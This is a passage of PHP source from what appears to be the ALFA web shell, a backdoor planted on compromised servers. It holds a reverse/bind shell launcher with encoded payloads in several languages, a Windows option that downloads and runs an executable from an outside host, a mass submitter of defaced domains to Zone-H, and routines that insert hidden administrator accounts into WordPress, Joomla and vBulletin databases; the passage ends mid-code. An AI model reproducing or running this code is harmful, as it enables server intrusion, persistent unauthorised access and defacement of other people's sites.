if(is_writable($tmpdir)){
$uniq = substr(md5(time()),0,8);
$filename = $evalType.$uniq.".c";
$path = $filename;
if(__write_file($path, $evalCode)){
$ext = ($GLOBALS['sys']=='win')? ".exe":".out";
$pathres = $filename.$ext;
$evalOptions = "-o ".$pathres." ".$evalOptions;
$cmd = "gcc ".$evalOptions.$path;
alfaEx($cmd);
if(is_file($pathres)){
if(chmod($pathres, 0755)){
$cmd = $pathres.$evalArguments;
alfaEx($cmd);
}else{$res = $err;}
unlink($pathres);
}else{$res = $err;}
unlink($path);
}else{$res = $err;}
}
return $res;
}elseif($evalType=="java"){
$tmpdir = ALFA_TEMPDIR;
chdir($tmpdir);
if(is_writable($tmpdir)){
if(preg_match("/class\ ([^{]+){/i",$evalCode, $r)){
$classname = trim($r[1]);
$filename = $classname;
}else{
$uniq = substr(md5(time()),0,8);
$filename = $evalType.$uniq;
$evalCode = "class ".$filename." { ".$evalCode . " } ";
}
$path = $filename.".java";
if(__write_file($path, $evalCode)){
$cmd = "javac ".$evalOptions.$path;
alfaEx($cmd);
$pathres = $filename.".class";
if(is_file($pathres)){
if(chmod($pathres, 0755)){
$cmd = "java ".$filename.$evalArguments;
alfaEx($cmd);
}else{$res = $err;}
unlink($pathres);
}else{$res = $err;}
unlink($path);
}else{$res = $err;}
}
return $res;
}
return false;
}
function alfaconnect(){
alfahead();
$php="7VZta9swEP5e6H9QjaE2S5uXfhg0pDBYPw7KVtiHtjOOLNcitqVJ8pKxpb99d36L4zid17WwQV1wrbvTo0e6Oz1hSgnlKSaFMjy9d0bu9PBAM+MZnjAv5gk3hU3MPZ7ImFNuvDDOdOSg1Ta+umdGkxlhKxmLgDkWsQaktOchFL3js7O3OFj6MEizOMYBaw50BAMLUIAJub78+GG2Mkwl06tP49nxrX31+f3F8bR0g206nPN0CJNOuIXTE5z9QN7FoU+umZ8QHbE4Jg/k8AD9PCQOFVlqnIqyS2ZAyyU/Dg8IPLYEgNI3LU05I6saGRzBogFa1oTFmu1BnXSi6pvRXRO5No/vtpfw6SJfomAdZik1XKQeW3FttHMsaWpiLxRqcew2FuIBTN748vSgBzEK74yc4IYBxzjjtru0j5p2KTRfeVANmgeO2wFQUkTe1dlsGGHatVGQC08LuoCa0kx9Y8qxDJXnw+HoNP87t8gp0IeaYUqlovgP8yoiFURZkyKDw9YDclYztenOQj6lTGJcczcQYkQslsBAZ3MYOTKSXpb6CXPcARkBpptv0lrydLMPfMKl4oY5NgV2CdCFtNElHskpsS6sahF8lhGPGZ4oOQKk0Ici2UKqiyLE1ANic3J97orde4lvaORYQxrcEufmy62+e+MOOfYWnpVS7g5ujh1gGYB7U1VtdK69gCsHIgGCRtV3R7QtAGt7r62oTRsYxZPmEduyPEysFov8/En2RnzNIMIlc8jgooWP6AUNHxr7coWTkIi1k4TWxGbGRHNv60ZWaSw0a+WgMtalU2xxbzU059oB1ryvlP/dGZHZRflpSS4ZJM5SFtTZuMOxRMek27G1gFTY5EpQT0iWAstogKtiUXDZjMSUHEGmFdMiUxTYSqyY7d7Hp9Fe8xi6B0UAweCygp7oFTnuHTnpFUlbQWVPGZXt9lJ+QzIRYhaxyIrvgpXbXVO28uss5Tms9lBSbHdCzTFmFO4U5UPkEl8MXqheXS3MU6+xgvL3dCvHmwDggyKO6q42rOqtyorN21HrxwjU2+vDog5+nAp9EovJn7CY/D2Ljl7XXb3eeQEUp73PM97r2S6gvFcrb61p6+YPiEo9Ufa31TNEOSsaPSrvfZbia0v/nknb9LNr207uXrWtib9P2+AHa1910z3UrYeQ6VchexEh008SMv0kIdMvLmS65+Wt/ych0/+EkP2ORV8he2nN+gU=";
$python="pVRtT9swEP6cSv0PxptWR80M7YY0wYJUQZjQBlRtp30AVqXOpYmWOpHtQPnCb5/tJG1AHUKaqra+V99z95zf7e2XUuwvUr4P/B4VjyrJebeTropcKCTAk+WiEDkDKb1cevJRf3P2B5Sn0hV0O4WPcbeT2N8IYiQTyDLC3KNuxzFx/jaejvMCOGGe9fFnotTZVZSX6pnTxTgwahBilzrlL7WuvkmAKgVHRk2rlFRAGBG336h0upZqVSjiUuAsj4D0ShV//NLTeSoIIVNpzmsMaYxySXm4gj0fc4WNzol9RuM0A54Tc7ujPXRjFKwIhrVt3CyYXPprBWJ1PJ4O/N778a+zk95xbdWqY9tymaCPKfr6AfelEiR2+xidtIXhVjIXQSbBFvCQ6NuR6aAVHSUeq4MjdGkC2D0ZHAw/uzQCCxFbiNgW68CaQaFq/yKUstI2uR2DWWMjwj05qDXOwhdAJYSCJQSz6BaRm9+38q7vYk94cRYupXG4+HZ1PQlOR9PAreN0qkWTo+5lEaqEpjJKBVnQpcjLggxcd+NkmsmSF9bGqEcJPCL/mmDj18Ki8xl+WVYKt11JqVDII4tUnw3WOruRKkebB9XkOg+11HCkqeBoSz58y3FfF78ExR4Mz/CJ3omlr5lBQ7G810tV9XXp+v7Q7oe/vBncdTuQtSyf2hYn0YehddGVwDpVuhtm6VKuSKFP0q+2kVZ/pJZG5/OLq2BWryqdXp9+n09nk2B0aWI0TGUsebEJmF7/mBuvdsx8EvycBqOzs4lnLn1ZvaSawREh+IDaD/YKOwBJs1TvAieHRjLM1Csfur7uAjPEsyvT4qB5R6jMAAqLbTu8navXUIDgJzTK4hDNIFyhqZkvetIT2M2JLSFeC8ebp2F3ls3D8KwZdmAGJtLEzTkHpghJ6mbsxnn4Bpzy/3C+Fv5GnNL9Cw==";
$perl="lZLRjpNAFIav26TvMOJsC8kYWr1bpJFQ3DRrS8OwGmOVsPSsTKQDgVm3m+722Z0BVifGGL0755/Dd+Abnj+zb5vavmbcBv4dVVAXo+FtA2gZnp/TMvsGwhkNcdm4+EuoqiZ3DThUZS1QHEQr9yCg3jsbOnMnW7z5sNjOJ05/LkOnJTc5esEM+TS7MRXqtLfvZMysY4s788MV3QT+GbIvDedRLhHuVxBVXYry+p6nezAnIqsmliQ07SuZlIw3b5PlOojJmIb+ZULjKPBWBAvr4WHHwLS6bW+86OK9686s42g4wJWLVf9p+lmeDhoQilZWCkfDd4kCSSANkyi4ooG3WERkpkAD+RE7OaTG092uThg3cUWWazWSeOuPlrZ1ULBGAJfjr/Q0zTKQm3xCrW65JPrEOCGvuElRDOke0RyKAp223CDTdqisgCMaL5ZrYrwe+4bzFIRXMTHmehJEUZ/I5+AAGZJqtfVZUTZg+pbTFfRnoehaI8laJ6lWB2QCTWUlLweK5pfYl38Si/O+nXUtcxkHkaSilNpyXQpO3d+cYqafZyXnkKn7wamet/boP9gze3vzMTUs5ynp9elR709FfxP4f946W3BU+kz5Jz3+AA==";
$ruby="tVb7b9M6FP7Z+SuMN0hzVxLGQ+h2N6vGU0ggqjG4QmQXtc5pYy11gu3QoW387fiVrqXt1ivd66p1es7n8/T52p07SSNFMmI8Af4di2b0I9jBhVK17CXJhKmiGcW0miajR08fn7nPQMC3hgnAoazoGajwWlAPVcGHUwiDIIcxlg09kwESoBrB8fHHZ5+/Dt4enbx6f/wuzqsZp0MJ8XSoaNEJp3LG+KV5TxmfzMKor0QDvfGwlBAAz51FAcPSOOlIJSJtOdV7gNgYv2IlxHDOpJJ9r9TagY8n5jCz0rg1EKvqqw7NGDbHbaRYFcCxSEU8kc2ok2RJ0iVZRiJsYT4N4aLRh46OX3+KS+ATVaTpfoD1MqIvD07Tn8k/Xx7c//P0Yr/75Go36dfpG65gAqLjEVFPB6vsGZmePB98APEdhI2TkG4dWQ1NZTykFGoHpHEtGFeY2DZgWUBZ4h6mFedAFeQZJxY3ggnj9sksHSivlO8FXljjlJoqsCUhnAPF0voZdwic15VQ+OTl8bv0XIGYHgw+7Kdhtjv4+0V2GB54vRYe2DskC3yf4eyv7N7dHGeHdnvodtIdm1c09wamsYuu2/TmPSYxifbIIVlCzQrdaVzq2CeglhMySwyZBAxCVOKZqEzypWlGziAT/d1kBe+rU8a0qKZ1mhKyAvEwY4fmOP4jYWshZpVp6e+ORiasG4aRM7zxRHt1cz0/VFXiR79TRhvRzse8QLcgXzChvWvLNwHNZd6k264jCw31ZcpmvRvLtC5pV6etE7oN/p+mBRtNvXkf11UNvFN2iSDRxSWrLlvzrDJsk+8RPZd7K76ugm3D/l22+L19FiBpc33vNfnN6QW4bMR1BjKmZbWQkUw5K4PWluvhErE9tAS5gdi0o1VqO9DSIrXf9k81x5oC+oAc4TrGsz8ejvF2Loory3pIbsFxyBEcQkvUhhAaa760jIaMu/+byFCb2Tzo1QullS1hSUdYWoJuISkbP1rDTMjLF6nIytBm4kHtoTU0g9rDi4zihUvk4US2d3bdmLCty29MsDmKdpBX3S5r/o1z8Mh10ym3nM4lp353m/8zsHbgkJ82E6WbM/1kJwz58XKTZ8FG8gs=";
$node="nVHLasMwEDwrkH8QvliCoEDTW8ih9BPSW/pAtdeRQJZcSXYKIfn2yrKd5tGWYh+Ed2d2NDtquMWu4juNV9jCRy0tkDQTUuVvlTUZOJdSFgnL6aQJZA3+nBrKlPaQ8xZ4eY52nRMhM9oZBRdXda1I6VUEKBUo6fxd6rkTaUBkQXo3rFLcF8aWrOQ+E2T+ugssSen3XFbmDD4hPSlyu20CMCi0ZafZ/jEFeuvFarWg++kEtXwRyGEvlgXzHtZgG7CkqHXmpdHERR5ybGelB5Ic8YMqOH5qV19HD8dnnbT74P7rtgqiMUcSjZ7jTjDnc6mZBVeXQOg1ZGrPws1Jzj1PZoMTTNqa7gcnsVoebpXB2pHjf40Npm+mUXcKpqTzoGPKm7uXtnmYTkA5wNfZ35+ydxfZPxqtoYu9V5nF19wsotx/HgH9lj76IXY0Mm80Mmg0LuHDFw==";
$c="tVJtb9owEP7cSv0PHp1ap/WAsO0TTaWoZBLaChHJNE0bilLHNKcZG8Vmgk7rb98lBArZi/alUqzcPff47nzPnYLicpkJcmVsBrqdX58cn+5hBaj738BMwl0TXJuOXS+E+QNuNP8mbCOghAU8HVCNwFIBVqhAUJbMU1C0NNLinjOepwW5QPP7l6nz4+T4qIwYxpn23D662PCSI4IV0ywrElAEShxmtLzveb3q1hG0Dahkls5Brj3/XTIcBXH/KbDQhfVyq5WhqdVAq4Lu1HH2OGX+tql+FVXS4cgfDCaJP/q84Rlv83JaF2DR+OZ9EsWTwL9l3ZojbEnSC0sNxj8kJaeiJpPgYxSUGdmZZgYehJ5RvW1hRl8YR6zA0jrRHagMU9DGBMiFcwasu3JrmsThCoXEtxufeynnoqrefeoJU3HWeiS+nKUkFumcRLmQkjx+VS3We7MlZstFD4mHnnvg9eqUayw7py2xKkdL4mBy662sKOb9MHK985fhp8H1eb+OIoSm4KSDj+qYnLyCVt2t1EZQXjk/8QhpBNlp+/pZtC23tLI2zN60nveDKPQWYjh1iWPdMi7dy31kl/2fGzEMw8k4HifxTbgTmXKtlOD2r8rWe9GIOY5z1T1Yj0pT87+amobnHnjPoanZaorfLw==";
$java="lVRNb9swDD2nQP+D4JM9BG6T04bCwz6ww4ABHZbeuhwUhbG12rIg0XGCNPvtoz7sumsvPdiWyCfy8ZGybHRrkP3he57LNn93c3khJyYF6G2XF7rb1FIwUXNrGa93/A54c7q8mGkj9xyBWeRIgJ1UvI4wjQwOCGpr2V1lgG8dfjzwXekOV0j2hkl7M3Xddvjkazv0DMgdOGhMn5+dvziQnbCSNpe2oMh+ScbCRTqHUJ9u92CM3MIk7r6VW2Y6lWae5wzNMSxmmyPC/ZptWMEU9Mxv3y8+LNc3wS8VMkFOyuPKTDdZdPSVrCEVH4vrjMVYM2KR90YipJv59VwMUG/f1Z2t0tH0asyz/4S34Ciq9NtBgEbZKgbZCXJSUZEWXDzcGS6Awnmwe4XqY72xY77shkuVkn5SlVQoN6UNIrjK3Dj43MHPRLMlXsnVRqorWyXeJXfp6mgRmrwE/GlaDQaPadLaXPEGkizH9kfbg/nKLRHKpdrC4XaXJr1USebkOcWo9EkC35itd9a/7DONHHMzx1YV1DX7+1uFzJPe9C75F9rbKOGqFQ+ArIp9C9voG7tL1F29eQ2qxKooFrH9M38NCppThBJMrrmxQBuPvr9eD/1YgaFZiqnskGpiTF2gAe242JwL17Gh0aGXUFtg/5NZvpVMEE1qwnrXYj1JPBFB6jmb8Dq/LgV7fGSv85newFK6siun/sQ8jvGzy1m2I3ZqH8HkH27HYKJxEuB+J3TwV6dQNuCOxyVNExxApDQ4WfxPkFo0tYtYMOmsX1CbOyJDAodePqFL90fRLxmO8EVOV8e49unluHyS0b/ecDPpOf8D";
echo "<div class=header><center><br><div class='txtfont_header'>| Back Connect |</div><br><br>";
echo "<form onSubmit=\"g('connect',null,this.selectCb.value,this.server.value,this.port.value,this.cbmethod.value);return false;\">
<div class=\"txtfont\">Mehtod:</div> <select name='cbmethod' onChange='ctlbc(this);' style='width:120px;'><option value='back'>Reverse Shell</option><option value='bind'>Bind Port</option></select> <div class=\"txtfont\">Use:</div> <select name='selectCb'>";
$cbArr = array("php"=>"Php","perl"=>"Perl","python"=>"Python","ruby"=>"Ruby","c"=>"C","java"=>"Java","node"=>"NodeJs","bcwin"=>"Windows");
foreach($cbArr as $key=>$val){echo("<option value='{$key}' ".($GLOBALS['sys']=='win'?'selected':'').">{$val}</option>");}
echo "</select> <div id='bcipAction' style='display:inline-block;'><div class=\"txtfont\">IP:</div> <input type='text' style='text-align:center;' name='server' value='". $_SERVER['REMOTE_ADDR'] ."'></div> <div class=\"txtfont\">Port: </div> <input type='text' size='5' style='text-align:center;' name='port' value='2012'> <input type='submit' value=' '></form><p><div id='bcStatus'><small>Run ` <font color='red'>nc -l -v -p port</font> ` on your computer and press ` <font color='red'>>></font> ` button</small></div></p></center></b></font><br>";
if(isset($_POST['alfa1'])&&!empty($_POST['alfa1'])){
$lang = $_POST['alfa1'];
$ip = $_POST['alfa2'];
$port = $_POST['alfa3'];
$arg = ($_POST['alfa4']=='bind'?$port:$port.' '.$ip);
$tmpdir = ALFA_TEMPDIR;
$name = $tmpdir.'/'.$lang.uniqid().rand(1,99999);
$allow = array('perl','ruby','python','node');
eval('$lan=$'.$lang.';');
if(in_array($lang,$allow)){
if(__write_file($name,__get_resource($lan))){
if(_alfa_can_runCommand(true,true)){
$os = ($GLOBALS['sys']!='win')?'1>/dev/null 2>&1 &':'';
$out = alfaEx("$lang $name $arg $os");
if($out==''){$out="<font color='green'><center>[ Finished...! ]</center></font>";}
echo("<pre class='ml1' style='margin-top:5px'>{$out}</pre>");
}
}else{
echo("<pre class=ml1 style='margin-top:5px'><font color='red'><center>[ Failed...! ]</center></font></pre>");
}
}
if($lang=='java'||$lang=='c'){
$code = __get_resource($lan);
$out = nl2br(bcinit($lang, $code,'',''));
echo("<pre class=ml1 style='margin-top:5px'><center>{$out}</center></pre>");
}
if($lang=='bcwin'){
$alfa = new AlfaCURL();
$s = $alfa->Send('http://solevisible.com/bc/windows.exe');
$tmpdir = ALFA_TEMPDIR;
$f = @fopen($tmpdir.'/bcwin.exe','w+');
@fwrite($f, $s);
@fclose($f);
$out = alfaEx($tmpdir."/bcwin.exe ".$_POST['alfa2']." ".$_POST['alfa3']);
}
if($lang=='php'){
echo "<pre class=ml1 style='margin-top:5px'>";
$code = __get_resource($lan);
if($code!==false){
$code = "\$target = \"".$arg."\";\n".$code;
eval($code);
echo("<center><font color='green'>[ Finished...! ]</font></center>");
}
echo "</pre>";
}
}
echo "</div>";
alfafooter();
}
function alfazoneh(){
alfahead();
echo '<div class=header>';
if(!function_exists('curl_version')){
echo "<pre class=ml1 style='margin-top:5px'><center><font color=red><b><big><big>PHP CURL NOT EXIST ~ ZONE H MASS POSTER DOES NOT WORK</b></font></big></big></center></pre>";
}
$hackmode = array('known vulnerability (i.e. unpatched system)','undisclosed (new) vulnerability','configuration / admin. mistake','brute force attack','social engineering','Web Server intrusion','Web Server external module intrusion','Mail Server intrusion','FTP Server intrusion','SSH Server intrusion','Telnet Server intrusion','RPC Server intrusion','Shares misconfiguration','Other Server intrusion','SQL Injection','URL Poisoning','File Inclusion','Other Web Application bug','Remote administrative panel access bruteforcing','Remote administrative panel access password guessing','Remote administrative panel access social engineering','Attack against administrator(password stealing/sniffing)','Access credentials through Man In the Middle attack','Remote service password guessing','Remote service password bruteforce','Rerouting after attacking the Firewall','Rerouting after attacking the Router','DNS attack through social engineering','DNS attack through cache poisoning','Not available','Cross-Site Scripting');
$reason = array('Heh...just for fun!','Revenge against that website','Political reasons','As a challenge','I just want to be the best defacer','Patriotism','Not available');
echo '
<center><br><div class="txtfont_header">| Zone-h Mass Poster |</div><center><br>
<form action="" method="post" onsubmit="g(\'zoneh\',null,this.defacer.value,this.hackmode.value,this.reason.value,this.domain.value,\'>>\'); return false;">
<input type="text" name="defacer" size="67" id="text" placeholder="ALFA TEaM 2012" />
<br>
<select id="text" name="hackmode" style="width:400px;">';
$x=1;
foreach($hackmode as $mode){echo('<option style="background-color: rgb(F, F, F);" value="'.$x.'">'.$mode.'</option>');$x++;}
echo '</select><br><select id="text" name="reason" style="width:200px;">';
$x=1;
foreach($reason as $mode){echo('<option style="background-color: rgb(F, F, F);" value="'.$x.'">'.$mode.'</option>');$x++;}
echo '</select><br>
<textarea name="domain" cols="90" rows="20" placeholder="Domains..."></textarea><br>
<p><input type="submit" value=" " name="go" /></p>
</form></center>';
if($_POST['alfa5'] && $_POST['alfa5'] == '>>'){
ob_start();
$hacker = $_POST['alfa1'];
$method = $_POST['alfa2'];
$neden = $_POST['alfa3'];
$site = $_POST['alfa4'];
if(empty($hacker)){
die (__pre()."<center><b><font color =\"#FF0000\">[+] YOU MUST FILL THE ATTACKER NAME [+]</font></b></center>");
}elseif($method == "------------------------------------SELECT-------------------------------------"){
die(__pre()."<center><b><font color =\"#FF0000\">[+] YOU MUST SELECT THE METHOD [+]</b></font></center>");
}elseif($neden == "------------------------------------SELECT-------------------------------------"){
die(__pre()."<center><b><font color =\"#FF0000\">[+] YOU MUST SELECT THE REASON [+]</b></font></center>");
}elseif(empty($site)){
die(__pre()."<center><b><font color =\"#FF0000\">[+] YOU MUST INTER THE SITES LIST [+]<font></b></center>");
}
$i = 0;
$sites = explode("\n", $site);
$alfa = new AlfaCURL();
while($i < count($sites)){
if(substr($sites[$i], 0, 4) != "http"){
$sites[$i] = "http://".$sites[$i];
}
$alfa->Send("http://www.zone-h.com/notify/single","post","defacer=".$hacker."&domain1=". $sites[$i]."&hackmode=".$method."&reason=".$neden);
++$i;
}
echo __pre()."<center><font color =\"#00A220\"><b>[+] Sending Sites To Zone-H Has Been Completed Successfully !!![+]</b><font></center>";
}
echo "</div>";
alfafooter();
}
function alfapwchanger(){
alfahead();

echo '<div class=header><center><br><div class="txtfont_header">| Add New Admin |</div>
<center><h3>';
$vals = array('WordPress' => array('wp',2),'Joomla' => array('joomla',3),'vBulletin' => array('vb',5),'phpBB' => array('phpbb',6),'WHMCS' => array('whmcs',7),'MyBB' => array('mybb',8),'Php Nuke' => array('nuke',9),'Drupal' => array('drupal',10),'SMF' => array('smf',11));
Alfa_Create_A_Tag('pwchanger',$vals);
echo '</h3></center>';
if(isset($_POST['alfa1'])&&$_POST['alfa1']=='wp'){

echo __pre().'<center><center><div class="txtfont_header">| WordPress |</div>
<p>'.getConfigHtml('wp').'</p><form onSubmit="g(\'pwchanger\',null,\'wp\',\'>>\',this.localhost.value,this.database.value,this.username.value,this.password.value,null,this.admin.value,this.email.value,this.prefix.value);return false;" method="POST">';
$table = array('td1' =>
 array('color' => 'FFFFFF', 'tdName' => 'Mysql Host','id'=>'db_host', 'inputName' => 'localhost', 'inputValue' => 'localhost', 'inputSize' => '50'),
 'td2' =>
 array('color' => 'FFFFFF', 'tdName' => 'Db Name', 'id'=>'db_name','inputName' => 'database', 'inputValue' => '', 'inputSize' => '50'),
 'td3' =>
 array('color' => 'FFFFFF', 'tdName' => 'Db User', 'id'=>'db_user','inputName' => 'username', 'inputValue' => '', 'inputSize' => '50'),
 'td4' =>
 array('color' => 'FFFFFF', 'tdName' => 'Db Pass', 'id'=>'db_pw','inputName' => 'password', 'inputValue' => '', 'inputSize' => '50'),
 'td5' =>
 array('color' => 'FFFFFF', 'tdName' => 'Table Prefix', 'id'=>'db_prefix','inputName' => 'prefix', 'inputValue' => 'wp_', 'inputSize' => '50'),
 'td6' =>
 array('color' => 'FF0000', 'tdName' => 'Admin User', 'inputName' => 'admin', 'inputValue' => 'admin', 'inputSize' => '50'),
 'td7' =>
 array('color' => 'FF0000', 'tdName' => 'Admin Pass', 'inputName' => 'kh', 'inputValue' => 'solevisible', 'inputSize' => '50', 'disabled' => true),
 'td8' =>
 array('color' => 'FF0000', 'tdName' => 'Admin Email', 'inputName' => 'email', 'inputValue' => '[email protected]', 'inputSize' => '50')
);
create_table($table);
echo '<p><input value=" " name="send" type="submit"></p></form>';
if ($_POST['alfa2'] && $_POST['alfa2'] == '>>'){
$localhost = $_POST['alfa3'];
$database = $_POST['alfa4'];
$username = $_POST['alfa5'];
$password = $_POST['alfa6'];
$admin = $_POST['alfa8'];
$SQL = $_POST['alfa9'];
$prefix = $_POST['alfa10'];
$conn=@mysqli_connect($localhost,$username,$password,$database) or die(mysqli_error($conn));
$solevisible=@mysqli_query($conn,"insert into ".$prefix."users (ID,user_login,user_pass,user_email) values(null,'$admin','d4a590caacc0be55ef286e40a945ea45','$SQL')") or die(mysqli_error($conn));
$solevisible=@mysqli_query($conn,"select ID from ".$prefix."users where user_login='".$admin."'") or die(mysqli_error($conn));
$sole = @mysqli_num_rows($solevisible);
if ($sole == 1){
$solevis = @mysqli_fetch_assoc($solevisible);
$res = $solevis['ID'];
}
$solevisible=@mysqli_query($conn,"insert into ".$prefix."usermeta (umeta_id,user_id,meta_key,meta_value) values(null,'".$res."','first_name','solevisible'),(null,'".$res."','last_name','solevisible'),(null,'".$res."','nickname','solevisible'),(null,'".$res."','description','solevisible'),(null,'".$res."','rich_editing','true'),(null,'".$res."','comment_shortcuts','false'),(null,'".$res."','admin_color','fresh'),(null,'".$res."','use_ssl','0'),(null,'".$res."','show_admin_bar_front','true'),(null,'".$res."','".$prefix."capabilities','a:1:{s:13:\"administrator\";b:1;}'),(null,'".$res."','".$prefix."user_level','10'),(null,'".$res."','show_welcome_panel','1'),(null,'".$res."','".$prefix."dashboard_quick_press_last_post_id','3')") or die(mysqli_error($conn));
if($solevisible){
__alert('Success... '.$admin.' is created...');}
}
}
if($_POST['alfa2'] && $_POST['alfa2'] == 'joomla'){

echo __pre().'<center><center><div class="txtfont_header">| Joomla |</div><p><p>'.getConfigHtml('joomla').'</p><form onSubmit="g(\'pwchanger\',null,\'>>\',\'joomla\',this.localhost.value,this.database.value,this.username.value,this.password.value,null,this.admin.value,this.email.value,this.prefix.value);return false;" method="POST">';
$table = array('td1' =>
 array('color' => 'FFFFFF', 'tdName' => 'Mysql Host', 'id'=>'db_host','inputName' => 'localhost', 'inputValue' => 'localhost', 'inputSize' => '50'),
 'td2' =>
 array('color' => 'FFFFFF', 'tdName' => 'Db Name', 'id'=>'db_name','inputName' => 'database', 'inputValue' => '', 'inputSize' => '50'),
 'td3' =>
 array('color' => 'FFFFFF', 'tdName' => 'Db User', 'id'=>'db_user','inputName' => 'username', 'inputValue' => '', 'inputSize' => '50'),
 'td4' =>
 array('color' => 'FFFFFF', 'tdName' => 'Db Pass', 'id'=>'db_pw','inputName' => 'password', 'inputValue' => '', 'inputSize' => '50'),
 'td5' =>
 array('color' => 'FFFFFF', 'tdName' => 'Table Prefix', 'id'=>'db_prefix','inputName' => 'prefix', 'inputValue' => 'jos_', 'inputSize' => '50'),
 'td6' =>
 array('color' => 'FF0000', 'tdName' => 'Admin User', 'inputName' => 'admin', 'inputValue' => 'admin', 'inputSize' => '50'),
 'td7' =>
 array('color' => 'FF0000', 'tdName' => 'Admin Pass', 'inputName' => 'toftof', 'inputValue' => 'solevisible', 'inputSize' => '50', 'disabled' => true),
 'td8' =>
 array('color' => 'FF0000', 'tdName' => 'Admin Email', 'inputName' => 'email', 'inputValue' => '[email protected]', 'inputSize' => '50')
);
create_table($table);
echo '<p><input value=" " name="send" type="submit"></p></form></center>';
if ($_POST['alfa1'] && $_POST['alfa1'] == '>>'){
$localhost = $_POST['alfa3'];
$database = $_POST['alfa4'];
$username = $_POST['alfa5'];
$password = $_POST['alfa6'];
$admin = $_POST['alfa8'];
$SQL = $_POST['alfa9'];
$prefix = $_POST['alfa10'];
$conn=@mysqli_connect($localhost,$username,$password,$database) or die(mysqli_error($conn));
$solevisible=@mysqli_query($conn,"insert into ".$prefix."users (id,name,username,email,password) values(null,'Super User','".$admin."','".$SQL."','d4a590caacc0be55ef286e40a945ea45')") or die(mysqli_error($conn));
$solevisible=@mysqli_query($conn,"select id from ".$prefix."users where username='".$admin."'") or die(mysqli_error($conn));
$sole =@mysqli_num_rows($solevisible);
if ($sole == 1){
$solevis =@mysqli_fetch_assoc($solevisible);
$res = $solevis['id'];
}
$solevisible=@mysqli_query($conn,"INSERT INTO ".$prefix."user_usergroup_map (user_id,group_id) VALUES ('".$res."', '8')") or die(mysqli_error($conn));
if($solevisible){
__alert('Success... '.$admin.' is created...');}
}
}
if($_POST['alfa4'] && $_POST['alfa4'] == 'vb'){

echo __pre().'<center><center><div class="txtfont_header">| vBulletin |<div><p>'.getConfigHtml('vb').'</p><form onSubmit="g(\'pwchanger\',null,\'>>\',this.localhost.value,this.database.value,\'vb\',this.username.value,this.password.value,this.prefix.value,this.admin.value,this.email.value); return false;" method="POST">';
$table = array('td1' =>
 array('color' => 'FFFFFF', 'tdName' => 'Mysql Host', 'id'=>'db_host','inputName' => 'localhost', 'inputValue' => 'localhost', 'inputSize' => '50'),
 'td2' =>
 array('color' => 'FFFFFF', 'tdName' => 'Db Name', 'id'=>'db_name','inputName' => 'database', 'inputValue' => '', 'inputSize' => '50'),
 'td3' =>
 array('color' => 'FFFFFF', 'tdName' => 'Db User', 'id'=>'db_user','inputName' => 'username', 'inputValue' => '', 'inputSize' => '50'),
 'td4' =>
 array('color' => 'FFFFFF', 'tdName' => 'Db Pass', 'id'=>'db_pw','inputName' => 'password', 'inputValue' => '', 'inputSize' => '50'),
 'td5' =>
 array('color' => 'FFFFFF', 'tdName' => 'Table Prefix', 'id'=>'db_prefix','inputName' => 'prefix', 'inputValue' => '', 'inputSize' => '50'),
 'td6' =>
 array('color' => 'FF0000', 'tdName' => 'Admin User', 'inputName' => 'admin', 'inputValue' => 'admin', 'inputSize' => '50'),
 'td7' =>
 array('color' => 'FF0000', 'tdName' => 'Admin Pass', 'inputName' => 'hi', 'inputValue' => 'solevisible', 'inputSize' => '50', 'disabled' => true),
 'td8' =>
 array('color' => 'FF0000', 'tdName' => 'Admin Email', 'inputName' => 'email', 'inputValue' => '[email protected]', 'inputSize' => '50')
);
create_table($table);
echo '<p><input value=" " name="send" type="submit"></p></form></center>';
if($_POST['alfa1'] && $_POST['alfa1'] == '>>'){
$localhost = $_POST['alfa2'];
$database = $_POST['alfa3'];
$username = $_POST['alfa5'];
$password = $_POST['alfa6'];
$prefix = $_POST['alfa7'];
$admin = $_POST['alfa8'];
$SQL = $_POST['alfa9'];
$conn=@mysqli_connect($localhost,$username,$password,$database) or die(mysqli_connect_error());
$pw_col = @mysqli_connect("SELECT column_name FROM information_schema.columns where table_name = '{$prefix}user' and column_name = 'password' and table_schema = '{$database}'");
$pw_col = @mysqli_num_rows($pw_col);
$adm_perm = "16744444";
if($pw_col > 0){
$solevisible=@mysqli_query($conn,"insert into {$prefix}user (userid,usergroupid,username,password,salt,email,passworddate,joindate) values(null,'6','$admin','52e28b78f55641cd4618ad1a20f5fd5c','Xw|IbGLhTQA-AwApVv>61y^(z]*<QN','$SQL','".date('Y-m-d')."','".time()."')") or die(mysqli_error($conn));
}else{
$adm_perm = "2143256444";
$solevisible=@mysqli_query($conn,"insert into {$prefix}user (userid,usergroupid,username,token,secret,email,passworddate,joindate,scheme,birthday_search) values(null,'6','$admin','\$2y\$10\$YsVhV.9tLnzBYxar1BJAGO3vFz68/qDU7Jt62SDdLy6lUT9N5Z/wq','Qf~ADeA}iAey-&#ALQF<}/uBDqSnw>','$SQL','".date('Y-m-d')."','".time()."','blowfish:10','1984-05-20')") or die(mysqli_error($conn));
}
$solevisible=@mysqli_query($conn,"select userid from {$prefix}user where username='".$admin."'") or die(mysqli_error($conn));
$sole = mysqli_num_rows($solevisible);
if($sole == 1){
$solevis = mysqli_fetch_assoc($solevisible);
$res = $solevis['userid'];
}
$solevisible=@mysqli_query($conn,"insert into {$prefix}administrator (userid,adminpermissions) values('".$res."','".$adm_perm."')") or die(mysqli_error($conn));
if($solevisible){
__alert('Success... '.$admin.' is created...');}
}
}
if(isset($_POST['alfa5']) && $_POST['alfa5'] == 'phpbb'){

echo __pre().'<center><div class="txtfont_header">| phpBB |</div><p><p>'.getConfigHtml('phpbb').'</p><form onSubmit="g(\'pwchanger\',null,\'>>\',this.localhost.value,this.database.value,this.username.value,\'phpbb\',this.password.value,null,this.admin.value,this.email.value,this.prefix.value); return false;" method="POST">';
$table = array('td1' =>
 array('color' => 'FFFFFF', 'tdName' => 'Mysql Host', 'id'=>'db_host','inputName' => 'localhost', 'inputValue' => 'localhost', 'inputSize' => '50'),
 'td2' =>
 array('color' => 'FFFFFF', 'tdName' => 'Db Name', 'id'=>'db_name','inputName' => 'database', 'inputValue' => '', 'inputSize' => '50'),
 'td3' =>
 array('color' => 'FFFFFF', 'tdName' => 'Db User', 'id'=>'db_user','inputName' => 'username', 'inputValue' => '', 'inputSize' => '50'),
 'td4' =>
 array('color' => 'FFFFFF', 'tdName' => 'Db Pass', 'id'=>'db_pw','inputName' => 'password', 'inputValue' => '', 'inputSize' => '50'),
 'td5' =>
 array('color' => 'FFFFFF', 'tdName' => 'Table Prefix', 'id'=>'db_prefix','inputName' => 'prefix', 'inputValue' => '', 'inputSize' => '50'),
 'td6' =>
